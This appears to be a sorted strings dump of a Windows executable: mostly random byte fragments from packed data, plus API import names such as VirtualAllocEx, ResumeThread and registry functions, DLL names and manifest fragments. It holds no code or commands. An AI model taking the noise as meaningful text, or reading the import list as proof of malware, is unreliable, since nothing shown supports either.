?HVd7DDt?NXu
HV[q)f
H"#v]S
HxEGNyJ@
hXI%@"
hXnuREwo5
H><Xv~
#I0J_(<
!i0O0w
I2B5If
I2F5H8F|!V
I2F5Hfgy
I2F5L8Bl
I2o5HBo5IV
I2u5Lp
i4"0pe(vC
+I6(k.
I^7`A@
I8co)F
}I.9U{
IB>5I0
Ibe#R]o
IBF5Hn
IBG5In
I&co)C
ICt K\\@w}S"
iDUzhJU
i%		Fe^
Ifey)o
Ifk|)O
*}Ifmn
`IgpzE
-iHW8b
 I>hzL
I;I>eY4
IncKSq
INvtq7
iOizR.
i]p)Tm(
[IpvOYn
IQs"/TT
Ir=5H&
Ir@5IBC5M
IrA5I@iF
IrB5Hz
IrD5Hz$
IrM5I&V|
I<RR9	0
IxAu!&
IxDq9L
j8t<_5VR
'j)B/ZH><c8
JCVHEo%
j\dNlc
jEdWz7_@Bf
JGFnWe
&J=I>c@
`"Jp*<
jPCeZW4
/-jpw_
JQN IQW
j:]~,x]
jx)f_x)TJ
@:;j+Y
K5Hf.e
K5I^{m)
KERNEL32.dll
KFourQtudZu
k,}ihB
KjiQ|O
&K<pZ5
kr,Y{Ex
kSmpLFB
KToNRlC,OFe
>kV'2|
 K	'`;X
KXl7DXl
kY|_AA
kY|_A-t$
KYS\BPi
K=yX +l
L'1k6!
l3udrZ
L?ckqA
lDXRXl
<leh]wt
l{`j3=E
LjeBHVn
>~\l?K]
lKw_>h
^llDk[
lm^TJ-W
L|%~n]!
LoadBitmapW
LoadCursorW
LoadIconW
LoadLibraryW
LoadStringW
LocalAlloc
LocalFree
LO<WL@<
["lP+<
lpFR:4
@lqt`lqtPlE
]Lr0JjTCZUg
lstrcatW
lstrcmpiW
lstrcpynW
lstrcpyW
lstrlenW
LUdxRUg
lW\P%:
LxGy14Nm
LxNm!t
L@Zq)O
M|)<@|
&_m)1k
M.1$s+2
\m#$4l
_mA1f`IA=
Mak@}Y
M(bn+<
MCt ?\\
mC'v,C
MDdo&APe
|M@Dz)]m
MessageBeep
MessageBoxW
m)f[x)]
MHKp)o;o
m)hL6M
MHTx)_
MH^y)$
MH[y)T
mI2B5L
Mi+3;1
mj,eam
MmBq*:
!mMRz5n
mQ[r)xk
~(|]ms
MsgWaitForMultipleObjects
`)msTv
msvcrt.dll
MU	:c4
"M"X(#
"m_.!y
My.rp*
MYSMQMn
m)Z_,]	_
n7y%	Q
n}By:_HT
n)dc<mAc
~n-FFn
Ni1_ND1
nm)oAl
nnm8Jl
NRx<uU
nsmNUl
n?V[#o3
n)V`{)z`
nW+Xu*
Nx)f`m
Ny)o[y!
nZ4:-Y
>nZp<~*a
O,3YN>3eN
O60Z:l
{o6uw!
o7f*q7u
+#`"=Oa
OA2%qFo
OEW\&V
O|)fN|
oJio@Pe
={)ONp)
Oo0|Ol0
oQ%M2u1[t
oQtEoQr
OrLeF	
OVdVUu
OWr\YlM
OYB,x;
Oy)oLt+
P^0$PJ0
P21{O61 O
P2<M%n
(!"P4\
p6}q`y
PathAppendW
PathGetArgsW
PathUnquoteSpacesW
pe-aWm
PeekMessageW
pe FQr"a
peM.Vj
]pEp0Xc*&
)*@Pf^
PFeWFso'FFo
&P$i{h
%PiOo!a
-PKp U[h$LKs
PostMessageW
P]oW}qx1MWr
pz)ACn
Pz)jLn
q	aM2Hn
Qam:so
+Q>B`0]\
`q)BZe
?q)CAq)t
Qcm/Wr]
qdV~*r
|qE*zi
]q)f[|
QFeWSbe3T]o
]QG3#Ln\
Q:I.m 
]q+${m
}Q;m)A
Qm%Yh5
qn"j\u"Lfe
>QN =QW
QO }TWl
qRm2fF
QueryPerformanceCounter
q)VS-}
q\X"[&`'
qYR~~Ilz
qZm)fYl
:`R}%%
+,r0+vB
R3K~,y
rb3_scj
rbBZrN
[r_BUe
rc-3F p
-RcA1o
Rcvub_6
`.rdata
RegCloseKey
RegDeleteKeyW
RegDeleteValueW
RegEnumValueW
RegOpenKeyA
RegOpenKeyExW
RegOpenKeyW
RegQueryValueExA
RegQueryValueExW
ReleaseDC
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
      <requestedPrivileges>
ResumeThread
RFT'r*
^",rg5Y(L5
RgrTNefEEc\a
RMm)&Ml
rok=K1
rp3gYn
rpcbYn
rpshYn
rs(.[s"Bae3DFW
rs(:[tHCJe#C_l,0
>RtN?FeUa\a"QQsE
Rt)$Tm
Rt=tRD=iR
~RUWON
Rx)/[m
rycYile @
=&^s=&^
S1PFpu
s|9isq
sDOOqDZK
s|E~bsYvkvN
    </security>
    <security>
>Se]cYc
SelectObject
SendMessageW
.SersDb
SetBkColor
SetCursor
SetInformationJobObject
SetUnhandledExceptionFilter
SetWindowPos
SHELL32.dll
ShellExecuteExW
-sHh\>
SHLWAPI.dll
ShtFCs`<QW
SK)h._
s<Oiw7Ui
`Sp:Ui
spV--(
:S[);![r;
SuoK	*
S{)VO"
SWm}HUl
_t:2_n; bN;8bF;	a
{t}5f?
?td638+b
TerminateProcess
TerminateThread
teU@ME9DSu-
tg[xe5
^!-tH)
!This program cannot be run in DOS mode.
tkrfjMr
'Tl=Yv6O
,tM\TP
t]P94Z
tpRyd}"
TranslateMessage
  </trustInfo>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<@tt<Zu|?D.
}T_@YH]} 
TzW~|~u
U*7OVi7
u9: d2
UAO#GQrExDa
ub3q|3
u}bj.\v
+UB?V G
=U\.>C^
U!Cp)&o
UCY'GI@^<f
u]Dmp@
uEP	3o$
=UlpK\o
UnhandledExceptionFilter
u!o4uyh
_u;|O8
$U~oc9
Uo+lW{
uPA(FV
u	*>P&py
_UpYp>Z:
UQ<q)_
USER32.dll
ut3\?t
u\t`j}
UtXA\e
U>{W9W
uY[o)][o)
Uy.&Ua-
UzCf3:(H
V"1j84
\$v5uq
v6y",]i
v8oHAE
ve<%!T8
VirtualAllocEx
/v#j2$-
VJwI~ch
vN\>6~
"v/nCe6
VqhR`O
_vsnwprintf
$Vu4Z8
vu,f"P
vWjeB5I
Vx)f*w
v,Y m4
<v[Z<e[
W3bfdZ>
W89hX)92X	9
WaitForSingleObjectEx
Wk8cWC8|^
+wk#m#
Wm)8Cx)
WN|4FK
wn!!JE)
|wq+lO
%?W.-+r
Wrb3P&
/W&SU	`
wV	CM)"0
X2h|tx
X5IVam
_xb2%X
X dqf5
xeN1m^
)>@xf>
xj/	{i>	
XKS]hu)|
x)oH/I
_^x)o^m
>x)oSl
xOv+Dz
xq"2~o7GL
-^&x`s
X'};$t?K(
xx`58d
~%xXo;
y1h;93sV/v
y5Inim
y7iM-I
y>APF>
_]y	'b
&ybJ `
YcT<MlC
Yfahe  
?YH M`l
]YJ$In
'yK=GYZ
yLBx6M
@YO#FYc
yo"G\F
y*@pf^
y"@PF\
y^@PV^
yR&lpF
y)t7x)
Y^*_T&Y
YvY-wU
yZ@pVZ
]z2."u
z%3fzH
z)_;`A
zC Df6
zC_ms];
Z(CS>O
?Zd5GZe.
^z)fn6
z;:~h2
Z_`h9v
zl!&[l
z)Oa4u
ZPngS 
zS^*<%
Zu9>Z}96Ze9>Zm9FZU9